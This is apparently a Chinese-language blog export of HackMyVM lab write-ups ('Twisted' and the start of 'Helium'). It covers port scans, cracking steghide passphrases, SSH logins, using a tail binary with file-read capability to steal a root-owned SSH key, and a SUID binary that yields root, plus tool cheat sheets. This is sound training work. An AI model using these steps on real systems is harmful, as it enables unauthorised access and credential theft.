warn@kali:~$ nmap -sC -sV 192.168.174.137 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-03 14:55 CST Nmap scan report for 192.168.174.137 Host is up (0.00072s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 67:63:a0:c9:8b:7a:f3:42:ac:49:ab:a6:a7:3f:fc:ee (RSA) | 256 8c:ce:87:47:f8:b8:1a:1a:78:e5:b7:ce:74:d7:f5:db (ECDSA) |_ 256 92:94:66:0b:92:d3:cf:7e:ff:e8:bf:3c:7b:41:b7:5a (ED25519) MAC Address: 00:0C:29:48:61:BC (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds # 进行UDP端口扫描 warn@kali:~$ nmap -sU --top-ports 100 192.168.174.137 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-03 14:55 CST Nmap scan report for 192.168.174.137 Host is up (0.00066s latency). All 100 scanned ports on 192.168.174.137 are in ignored states. Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response) MAC Address: 00:0C:29:48:61:BC (VMware) Nmap done: 1 IP address (1 host up) scanned in 55.39 seconds TCP 端口： 80 http nginx 1.14.2 22 ssh openssh 7.9p1 OS : linux debian UDP 端口：未发现任何有用的端口 ","date":"2026-04-08","heading":"端口扫描","objectID":"/p/twisted/:1:1","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"web应用分析 warn@kali:~$ curl -i -s http://192.168.174.137:80/ HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 03 Apr 2026 07:04:17 GMT Content-Type: text/html Content-Length: 230 Last-Modified: Wed, 14 Oct 2020 06:57:20 GMT Connection: keep-alive ETag: \"5f86a150-e6\" Accept-Ranges: bytes I love cats! But I prefer this one because seems different 有两张猫咪的照片，提示词：I love cats!; But I prefer this one because seems different; cat-hidden.jpg，可能存在图片隐写。 ","date":"2026-04-08","heading":"web应用分析","objectID":"/p/twisted/:2:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#web应用分析"},{"categories":["靶机复盘"],"collections":null,"content":"图片分析与隐写术 warn@kali:/tmp/temporary$ wget http://192.168.174.137/cat-original.jpg \u0026\u0026 wget http://192.168.174.137/cat-hidden.jpg --2026-04-03 15:18:53-- http://192.168.174.137/cat-original.jpg Connecting to 192.168.174.137:80... connected. HTTP request sent, awaiting response... 200 OK Length: 288693 (282K) [image/jpeg] Saving to: ‘cat-original.jpg’ cat-original.jpg 100%[====================================================\u003e] 281.93K --.-KB/s in 0.003s 2026-04-03 15:18:53 (87.6 MB/s) - ‘cat-original.jpg’ saved [288693/288693] --2026-04-03 15:18:53-- http://192.168.174.137/cat-hidden.jpg Connecting to 192.168.174.137:80... connected. HTTP request sent, awaiting response... 200 OK Length: 288706 (282K) [image/jpeg] Saving to: ‘cat-hidden.jpg’ cat-hidden.jpg 100%[====================================================\u003e] 281.94K --.-KB/s in 0.002s 2026-04-03 15:18:53 (138 MB/s) - ‘cat-hidden.jpg’ saved [288706/288706] 查看图片基本数据： warn@kali:/tmp/temporary$ exiftool -a -u -g1 cat-hidden.jpg cat-original.jpg ======== cat-hidden.jpg ---- ExifTool ----cat-original.jpg ExifTool Version Number : 13.25 ---- System ---- File Name : cat-hidden.jpg Directory : . File Size : 289 kB File Modification Date/Time : 2020:10:14 14:51:44+08:00 File Access Date/Time : 2026:04:03 15:40:53+08:00 File Inode Change Date/Time : 2026:04:03 15:18:53+08:00 File Permissions : -rw-rw-r-- ---- File ---- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Image Width : 2400 Image Height : 1347 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) ---- JFIF ---- JFIF Version : 1.01 Resolution Unit : inches X Resolution : 300 Y Resolution : 300 ---- Composite ---- Image Size : 2400x1347 Megapixels : 3.2 ======== cat-original.jpg ---- ExifTool ---- ExifTool Version Number : 13.25 ---- System ---- File Name : cat-original.jpg Directory : . File Size : 289 kB File Modification Date/Time : 2020:10:14 14:51:44+08:00 File Access Date/Time : 2026:04:03 15:42:33+08:00 File Inode Change Date/Time : 2026:04:03 15:18:53+08:00 File Permissions : -rw-rw-r-- ---- File ---- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Image Width : 2400 Image Height : 1347 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) ---- JFIF ---- JFIF Version : 1.01 Resolution Unit : inches X Resolution : 300 Y Resolution : 300 ---- Composite ---- Image Size : 2400x1347 Megapixels : 3.2 2 image files read binwalk 查看文件是否嵌入数据： warn@kali:/tmp/temporary$ binwalk cat-hidden.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 warn@kali:/tmp/temporary$ binwalk cat-original.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 binwalk 对于这两个文件并没有发现任何嵌套文件（这不代表jpeg照片就没有隐写）。 warn@kali:/tmp/temporary$ steghide info cat-hidden.jpg \"cat-hidden.jpg\": format: jpeg cat-original.jpg capacity: 16.2 KB Try to get information about embedded data ? (y/n) y Enter passphrase: steghide: could not extract any data with that passphrase! warn@kali:/tmp/temporary$ stegseek cat-hidden.jpg /usr/share/wordlists/rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: \"sexymama\" [i] Original filename: \"mateo.txt\". [i] Extracting to \"cat-hidden.jpg.out\". # 隐藏了一个mateo.txt文件 warn@kali:/tmp/temporary$ cat cat-hidden.jpg.out thisismypassword warn@kali:/tmp/temporary$ stegseek cat-original.jpg /usr/share/wordlists/rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: \"westlife\" [i] Original filename: \"markus.txt\". [i] Extracting to \"cat-original.jpg.out\". # 隐藏了一个 markus.txt 文件 warn@kali:/tmp/temporary$ cat cat-original.jpg.out markuslovesbonita 通过steghide 和 stegseek 工具，我们提取出两个文件，markus.txt 和 ma","date":"2026-04-08","heading":"图片分析与隐写术","objectID":"/p/twisted/:3:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#图片分析与隐写术"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 登陆markus warn@kali:/tmp/temporary$ ssh markus@192.168.174.137 -p 2222 markus@192.168.174.137's password: Linux twisted 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Apr 2 00:26:40 2026 from 192.168.174.130 markus@twisted:~$ 登陆mateo warn@kali:~$ ssh mateo@192.168.174.137 -p 2222 mateo@192.168.174.137's password: Linux twisted 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Apr 1 22:38:30 2026 from 192.168.174.130 mateo@twisted:~$ ","date":"2026-04-08","heading":"初始访问","objectID":"/p/twisted/:4:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"内网信息收集 markus用户 markus@twisted:~$ ls -al total 36 drwxr-xr-x 4 markus markus 4096 Apr 2 08:11 . drwxr-xr-x 5 root root 4096 Oct 14 2020 .. -rw------- 1 markus markus 712 Apr 2 08:11 .bash_history -rw-r--r-- 1 markus markus 220 Oct 14 2020 .bash_logout -rw-r--r-- 1 markus markus 3526 Oct 14 2020 .bashrc drwxr-xr-x 3 markus markus 4096 Oct 14 2020 .local -rw------- 1 markus markus 85 Oct 14 2020 note.txt -rw-r--r-- 1 markus markus 807 Oct 14 2020 .profile drwx------ 2 markus markus 4096 Apr 2 00:28 .ssh markus@twisted:~$ cat note.txt Hi bonita, I have saved your id_rsa here: /var/cache/apt/id_rsa Nobody can find it. markus@twisted:~$ ls -al /var/cache/apt/id_rsa -rw------- 1 root root 1823 Oct 14 2020 /var/cache/apt/id_rsa mateo用户 mateo@twisted:~$ ls -al total 36 drwxr-xr-x 3 mateo mateo 4096 Apr 1 23:05 . drwxr-xr-x 5 root root 4096 Oct 14 2020 .. -rw------- 1 mateo mateo 1502 Apr 2 08:11 .bash_history -rw-r--r-- 1 mateo mateo 220 Oct 13 2020 .bash_logout -rw-r--r-- 1 mateo mateo 3526 Oct 13 2020 .bashrc drwxr-xr-x 3 mateo mateo 4096 Oct 14 2020 .local -rw------- 1 mateo mateo 25 Oct 14 2020 note.txt -rw-r--r-- 1 mateo mateo 807 Oct 13 2020 .profile -rw------- 1 mateo mateo 53 Oct 14 2020 .Xauthority mateo@twisted:~$ cat note.txt /var/www/html/gogogo.wav markus的note.txt的提示是： Hi bonita, I have saved your id_rsa here: /var/cache/apt/id_rsa Nobody can find it. /var/cache/apt/id_rsa：root权限用户，当前用户无法读取。 mateo 的note.txt的提示是： /var/www/html/gogogo.wav ","date":"2026-04-08","heading":"内网信息收集","objectID":"/p/twisted/:5:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#内网信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"分析音频文件 warn@kali:/tmp/temporary$ wget http://192.168.174.137/gogogo.wav --2026-04-03 16:20:53-- http://192.168.174.137/gogogo.wav Connecting to 192.168.174.137:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1130160 (1.1M) [application/octet-stream] Saving to: ‘gogogo.wav’ gogogo.wav 100%[====================================================\u003e] 1.08M --.-KB/s in 0.01s 2026-04-03 16:20:53 (112 MB/s) - ‘gogogo.wav’ saved [1130160/1130160] 打开音频文件，发现声音是有规律的，将它放给AI，AI说他是摩斯密码。 go deeper 继续深入，come with me 跟我来，little rabbit 小兔子。(这些提示感觉没啥用，更像是调侃了) ","date":"2026-04-08","heading":"分析音频文件","objectID":"/p/twisted/:6:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#分析音频文件"},{"categories":["靶机复盘"],"collections":null,"content":"纵向移动 ","date":"2026-04-08","heading":"纵向移动","objectID":"/p/twisted/:7:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#纵向移动"},{"categories":["靶机复盘"],"collections":null,"content":"linux权限枚举 # mateo mateo@twisted:~$ sudo -l -bash: sudo: command not found # markus markus@twisted:~$ sudo -l -bash: sudo: command not found markus@twisted:~$ find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsrws--- 1 root bonita 16864 Oct 14 2020 /home/bonita/beroot -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 发现beroot二进制文件，但是我们没有权限利用它。 markus@twisted:~$ /usr/sbin/getcap -r / 2\u003e/dev/null /usr/bin/ping = cap_net_raw+ep /usr/bin/tail = cap_dac_read_search+ep 发现tail 拥有 cap_dac_read_search+ep ；它可以绕过部分文件读取/目录搜索权限。 ","date":"2026-04-08","heading":"linux权限枚举","objectID":"/p/twisted/:7:1","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#linux权限枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限利用 markus@twisted:~$ /usr/bin/tail -c+0 /var/cache/apt/id_rsa \u003e /tmp/key_rsa markus@twisted:~$ ls -al /tmp/key_rsa -rw-r--r-- 1 markus markus 1823 Apr 3 05:01 /tmp/key_rsa markus@twisted:~$ chmod 600 /tmp/key_rsa ","date":"2026-04-08","heading":"权限利用","objectID":"/p/twisted/:7:2","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#权限利用"},{"categories":["靶机复盘"],"collections":null,"content":"ssh 密钥登陆 markus@twisted:~$ ssh bonita@localhost -p 2222 -i /tmp/key_rsa Linux twisted 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Apr 2 00:43:52 2026 from ::1 bonita@twisted:~$ ","date":"2026-04-08","heading":"ssh 密钥登陆","objectID":"/p/twisted/:7:3","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#ssh-密钥登陆"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 ","date":"2026-04-08","heading":"权限提升","objectID":"/p/twisted/:8:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"SUID 程序分析 通过scp将文件下载到本地，用cutter分析。 /* jsdec pseudo code output */ /* C:\\Users\\32566\\Desktop\\beroot @ 0x1185 */ #include int32_t main (int32_t argc, char ** argv) { char ** var_28h; int32_t var_1ch; int64_t var_ch; rdi = argc; rsi = argv; var_1ch = edi; var_28h = rsi; eax = 0; printf (\"Enter the code:\"); rax = \u0026var_ch; rsi = rax; rdi = data_00002016; eax = 0; scanf (); eax = var_ch; if (eax == 0x16f8) { // 当eax为0x16f8时 edi = 0; eax = 0; setuid (); edi = 0; eax = 0; setgid (); rdi = \"/bin/bash\"; eax = 0; system (); // /bin/bash 权限提升 } else { puts (\"\\nWRONG\"); } eax = 0; return rax; } ","date":"2026-04-08","heading":"SUID 程序分析","objectID":"/p/twisted/:8:1","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#suid-程序分析"},{"categories":["靶机复盘"],"collections":null,"content":"获取flag bonita@twisted:~$ cat user.txt HMVblackcat bonita@twisted:~$ ./beroot Enter the code: 0x16f8 root@twisted:~# cat /root/root.txt HMVwhereismycat ","date":"2026-04-08","heading":"获取flag","objectID":"/p/twisted/:8:2","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#获取flag"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这个是一个综合靶场，虽说每一步不是特别难，但是我学到了好多工具。 回顾一下靶场的攻击流程：通过端口扫描发现80端口和2222端口，访问80端口发现两张照片，分析图片，发现其是隐写，两张图片里面藏了2个用户的用户名和密码，通过ssh连接，发现两个提示，一个是诱饵，另一个是真正的提示，ssh私钥无法被读取，我们需要提权，绕过文件读取权限，拿到ssh私钥后，进入bondit目录，分析suid二进制文件，发现输入0x16f8，我们就可以得到root权限，最后获得flag。 (现在的总结不是很专业，这个是我学习外国人的模板写的，参考了它的文章，感觉它写的文章挺好的，网址：setyanoegraha) nmap 发现只有两个端口： 2222 80 curl 80 发现两个照片，hidden 猜测有图片隐写 steghide info cat-hidden.jpg 发现需要密码 stegseek cat-hidden.jpg /usr/share/wordlists/rockyou.txt 密码是：sexymama steghide 提取隐藏文件 文件名为mateo.txt 内容为：thisismypassword ssh mateo@192.168.174.137 -p 2222 输入密码，成功连接上了 cat note.txt /var/www/html/gogogo.wav 摩斯密码音频 GO DEEPER... COME WITH ME... LITTLE RABBIT... 这是解码后的内容 我不知道如何深入，我体会不到它给我这个提示有啥用。 ls /home 发现存在3个用户 find / -name user.txt 2\u003e/dev/null 其存储在 bonita 里面 markus 里面也有一个note.txt bonita 里面有beroot 这个应该是用于提权的 现在的首要目标就是拿到markus的权限 我并没有发下suid sudo关于markus的提权命令，所以猜测是通过密码登陆。 # 这是我当时的思考过程，我当时以为只有一个图片是隐写另一个图片没有隐写，只能登陆进去一个，我还以为另一个用户要我从内网获得了，当我做不出来，看了别人的wp后，才知道自己在思路上有些欠缺。 ","date":"2026-04-08","heading":"总结","objectID":"/p/twisted/:9:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"本靶场学习到的工具 ","date":"2026-04-08","heading":"本靶场学习到的工具","objectID":"/p/twisted/:10:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#本靶场学习到的工具"},{"categories":["靶机复盘"],"collections":null,"content":"binwalk 一个固件/二进制镜像分析工具。 我们的主要用途： CTF 里的隐写/套娃文件 恶意样本里的嵌入 payload 安装包、自解压文件、未知 .bin 内容识别 查二进制里是否藏了压缩包、图片、脚本、证书 常用命令： # 基础扫描 binwalk sample.bin # 显示更多细节 binwalk -v sample.bin # 只显示匹配结果的一部分再人工判断 binwalk sample.bin | more # 自动提取已识别内容 binwalk -e sample.bin # 递归提取多层嵌套内容 binwalk -Me sample.bin # 指定提取目录 # 通常先进入目标目录再执行，避免到处生成文件 cd output_dir binwalk -e ../sample.bin # 熵分析（不同版本支持情况可能不同，先看 --help） binwalk -E sample.bin # 查看帮助 binwalk --help ","date":"2026-04-08","heading":"binwalk","objectID":"/p/twisted/:10:1","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#binwalk"},{"categories":["靶机复盘"],"collections":null,"content":"steghide steghide是一个隐写术（steganography）命令行工具，用来把一个文件“藏”进图片或音频里。 把秘密文件嵌入到普通载体文件中 常见载体格式： JPEG BMP WAV AU 被藏进去的内容可以是任意文件类型，比如： 文本 压缩包 可执行文件 脚本 常用的命令： steghide embed -cf cover.jpg -ef secret.txt # 嵌入文件 steghide extract -sf cover.jpg # 提取文件 steghide info cover.jpg # 查看文件信息 # -cf = cover file，载体文件 # -ef = embed file，要藏进去的文件 # -sf = stego file，嵌入后的文件 # -p = passphrase 指定密码 它的局限 不是所有图片格式都支持 如果文件被再次强压缩、转码、改格式，隐藏数据可能损坏 对有经验的分析者，不代表一定“绝对检测不到” 更适合学习、CTF、实验用途 ","date":"2026-04-08","heading":"steghide","objectID":"/p/twisted/:10:2","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#steghide"},{"categories":["靶机复盘"],"collections":null,"content":"stegseek stegseek 是一个专门针对 steghide 隐写文件的高速口令破解工具。 用来尝试破解 steghide 隐写文件的密码 破解成功后，可以把隐藏的数据提取出来 典型场景： CTF 隐写题 已获授权的取证/测试 检查某个文件是不是 steghide 做的 常见用法： # 用字典破解 stegseek file.jpg wordlist.txt # 检测/尝试无密码恢复 stegseek --seed file.jpg # 指定线程数 stegseek file.jpg wordlist.txt -t 8 # 破解成功后继续找更多隐藏内容 stegseek file.jpg wordlist.txt -c # 覆盖已存在输出文件 stegseek file.jpg wordlist.txt -f # 显示帮助 stegseek --help ","date":"2026-04-08","heading":"stegseek","objectID":"/p/twisted/:10:3","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#stegseek"},{"categories":["靶机复盘"],"collections":null,"content":"getcap getcap 是 Linux 里的一个命令，用来查看文件（通常是可执行文件）设置了哪些 capabilities（能力位）。 作用：检查文件的 security.capability 扩展属性 目的：让程序拿到精细化权限，而不是直接 setuid root # 查看单个文件 getcap /usr/bin/ping # 递归查看目录 getcap -r /usr/bin # 显示所有搜索到的项，即使没有 capability getcap -v /usr/bin/ping # 显示与 user namespace 相关的 root uid 信息 getcap -n /usr/bin/ping # 帮助 getcap -h 输出： /usr/bin/ping cap_net_raw=ep /usr/bin/ping：文件路径 cap_net_raw：能力名 =ep：这个能力被设置到了对应集合里 最常见的“值”其实有两类 能力名 后缀标志（如 =ep、=eip） 1）后缀标志是什么意思 e = Effective i = Inheritable p = Permitted 常见写法： =ep：最常见 =eip：三个集合都有 =p：只在 permitted =：空 capability；这不等于“没有设置 capability” 2）常见能力名有哪些 下面这些最常见： cap_net_bind_service 允许绑定低端口（如 80、443） cap_net_raw 允许原始套接字，ping 常见 cap_net_admin 网络管理相关能力，权限较大 cap_setuid 允许修改 UID cap_setgid 允许修改 GID cap_dac_override 绕过文件读写权限检查 cap_dac_read_search 绕过读/搜索权限检查 cap_chown 修改文件所有者 cap_fowner 绕过部分文件所有权限制 cap_fsetid 保留/设置 setuid/setgid 位 cap_kill 绕过发信号的一些权限检查 cap_sys_ptrace ptrace/调试其他进程 cap_sys_nice 调整优先级、调度策略 cap_sys_resource 提升资源限制 cap_sys_time 修改系统时间 cap_sys_module 加载/卸载内核模块 cap_sys_admin 很大的“万能”能力之一，范围非常广 cap_audit_write 写审计日志 cap_audit_control 管理审计子系统 cap_mknod 创建设备文件 补充 getcap 看的是文件 capability 如果你想看进程 capability，通常用： getpcaps ","date":"2026-04-08","heading":"getcap","objectID":"/p/twisted/:10:4","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#getcap"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Helium 的渗透测试与提权记录","date":"2026-04-07","objectID":"/p/helium/","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/"},{"categories":["靶机复盘"],"collections":null,"content":" 靶机名称 作者 难度 平台 Helium sml 简单 HackMyVM ","date":"2026-04-07","heading":"","objectID":"/p/helium/:0:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-04-07","heading":"信息收集","objectID":"/p/helium/:1:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口检测 warn@kali:~$ nmap -sC -sV 192.168.174.139 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 13:33 CST Nmap scan report for 192.168.174.139 Host is up (0.00066s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 12:f6:55:5f:c6:fa:fb:14:15:ae:4a:2b:38:d8:4a:30 (RSA) | 256 b7:ac:87:6d:c4:f9:e3:9a:d4:6e:e0:4f:da:aa:22:20 (ECDSA) |_ 256 fe:e8:05:af:23:4d:3a:82:2a:64:9b:f7:35:e4:44:4a (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: RELAX MAC Address: 00:0C:29:CB:70:EC (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.48 seconds ","date":"2026-04-07","heading":"端口检测","objectID":"/p/helium/:1:1","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#端口检测"},{"categories":["靶机复盘"],"collections":null,"content":"目录枚举 warn@kali:~$ gobuster dir -u http://192.168.174.139/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.174.139/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /yay (Status: 301) [Size: 185] [--\u003e http://192.168.174.139/yay/] Progress: 220558 / 220558 (100.00%) =============================================================== Finished =============================================================== warn@kali:~$ gobuster dir -u http://192.168.174.139/yay/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.174.139/yay/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== Progress: 220558 / 220558 (100.00%) =============================================================== Finished =============================================================== 发现了一个yay目录，再没有发现任何有用信息。 ","date":"2026-04-07","heading":"目录枚举","objectID":"/p/helium/:1:2","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#目录枚举"},{"categories":["靶机复盘"],"collections":null,"content":"web应用分析 warn@kali:~$ curl -s http://192.168.174.139/ RELAX \u003c!doctype html\u003e \u0026lt;!-- Please paul, stop uploading weird .wav files using /upload_sound --\u0026gt; : Paul 请不要使用/upload_sound目录上传奇怪的 .wav 文件。 信息： paul 可能是用户名。 /upload_sound 可能可以上传文件。 relax.wav screen-1.jpg bootstrap.min.css warn@kali:~$ curl -i -s http://192.168.174.139/upload_sound/ HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Tue, 07 Apr 2026 05:45:15 GMT Content-Type: text/html Content-Length: 26 Last-Modified: Sun, 22 Nov 2020 19:22:24 GMT Connection: keep-alive ETag: \"5fbaba70-1a\" Accept-Ranges: bytes Upload disabled (or not). warn@kali:~$ curl -i -s http://192.168.174.139/upload_sound/ -X POST HTTP/1.1 405 Not Allowed Server: nginx/1.14.2 Date: Tue, 07 Apr 2026 05:45:33 GMT Content-Type: text/html Content-Length: 173 Connection: keep-alive 405 Not Allowed 405 Not Allowed nginx/1.14.2 /upload_sound 不允许 POST 请求，还有Upload disabled (or not).，可以判断出 /upload_sound 不允许上传文件。 对relax.wav，和screen-1.jpg，做了分析，并没有发现啥有用的内容。 warn@kali:~$ curl -i -s http://192.168.174.139/bootstrap.min.css HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Tue, 07 Apr 2026 05:50:42 GMT Content-Type: text/css Content-Length: 23 Last-Modified: Sun, 22 Nov 2020 19:22:47 GMT Connection: keep-alive ETag: \"5fbaba87-17\" Accept-Ranges: bytes /yay/mysecretsound.wav 发现了一个可疑文件，将其下载下来，分析频谱图发现隐藏信息： 这可能是密码。 ","date":"2026-04-07","heading":"web应用分析","objectID":"/p/helium/:1:3","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#web应用分析"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 warn@kali:/tmp/123$ ssh paul@192.168.174.139 -p 22 paul@192.168.174.139's password: Linux helium 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Apr 7 01:15:04 2026 from 192.168.174.130 paul@helium:~$ id uid=1000(paul) gid=1000(paul) groups=1000(paul),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) paul@helium:~$ ","date":"2026-04-07","heading":"初始访问","objectID":"/p/helium/:2:0","tags":["HackMyVM","Easy"],"title":"Helium","uri":"/p/helium/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 paul@helium:~$ ls -al total 36 drwxr-xr-x 3 paul paul 4096 Apr 7 01:29 . drwxr-xr-x 3 root root 4096 Nov 22 2020 .. -rw------- 1 paul paul 564 Apr 7 01:29 .bash_history -rw-r--r-- 1 paul paul 220 Nov 22 2020 .bash_logout -rw-r--r-- 1 paul paul 3526 Nov 22 2020 .bashrc drwxr-xr-x 3 paul paul 4096 Nov 22 2020 .local -rw-r--r-- 1 paul paul 807 Nov 22 2020 .profile -rw------- 1 paul paul 17 Nov 22 2020 user.txt -rw------- 1 paul paul 52 Nov 22 2020 .Xauthority paul@helium:~$ find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 51184 